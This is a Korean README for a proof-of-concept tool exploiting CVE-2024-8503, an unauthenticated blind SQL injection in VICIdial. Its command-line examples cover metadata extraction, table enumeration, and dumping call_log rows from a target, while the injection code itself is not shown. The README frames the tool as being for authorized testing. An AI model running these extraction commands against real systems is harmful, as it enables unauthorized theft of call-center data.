
VICIdial CVE-2024-8503에 대한 인증되지 않은 시간 기반 블라인드 SQL 인젝션 PoC로, 메타데이터 추출, 재개 가능한 스캔, 엄격한 안전 제한이 특징입니다.
VICIdial의 VERM_AJAX_functions.php 엔드포인트(CVE-2024-8503)에 대한 인증되지 않은 시간 기반 블라인드 SQL 인젝션 개념 증명(PoC)입니다. 이 프로젝트는 승인된 보안 테스트, 검증 및 교육 목적으로만 제공됩니다.
CVE-2024-8503은 VICIdial에서 인증되지 않은 SQL 인젝션으로, 조작된 Basic Auth 사용자 이름 값이 VERM_AJAX_functions.php의 취약한 쿼리 로직에 도달할 수 있습니다. 이 PoC는 시간 기반 추론을 사용하여 악용 가능성을 확인하고 제한된 메타데이터와 테이블 데이터를 통제된 방식으로 추출합니다.
이 릴리스는 엄격한 개념 증명(PoC) 제한을 적용합니다:
requests의존성을 설치합니다:
pip install requests
네트워크 요청 없이 설정을 확인하려면 로컬 자체 점검을 실행합니다:
python3 CVE-2024-8503-POC.py --self-check
기본 비대화형 스캔을 실행합니다:
python3 CVE-2024-8503-POC.py --url https://target.tld
대화형 모드는 운영자 주도 테스트를 위한 별도의 워크플로입니다. 단일 명령을 실행하는 대신 추출 작업을 수동으로 단계별 진행하려는 경우 유용합니다.
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
대화형 메뉴는 메타데이터 추출, 테이블 및 열 검색, 수동 추출, 자동 추출, 사용자 지정 쿼리 및 재개 가능한 전체 스캔을 지원합니다.
대화형 메뉴에 진입하지 않고 특정 작업을 수행하려면 다음 명령을 사용합니다.
메타데이터 추출:
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
테이블 목록:
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
테이블의 열 가져오기:
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
특정 열 추출:
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
테이블 데이터 자동 추출:
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
전체 스캔:
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
사용자 지정 쿼리(SELECT만):
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
선택적 플래그:
--path 엔드포인트 경로 변경(기본값: /VERM/VERM_AJAX_functions.php)--skip-vuln-check 초기 확인 프로브 건너뛰기--export 결과 저장(메타데이터/전체 스캔은 JSON, 테이블 데이터는 CSV)진행 상황은 자동으로 다음 위치에 저장됩니다:
.vicidial_scan_state.json
이전 스캔이 감지되면 스크립트가 재개 또는 상태 초기화를 제안합니다.
LICENSE 파일이 추가되어야 합니다. 이 README는 MIT를 가정합니다.이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 소유하지 않은 시스템을 테스트하기 전에 명시적인 서면 허가를 받아야 합니다. 저자는 이 도구로 인한 오용 또는 손해에 대한 책임을 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 저장소 수준의 LICENSE 파일을 참조하세요.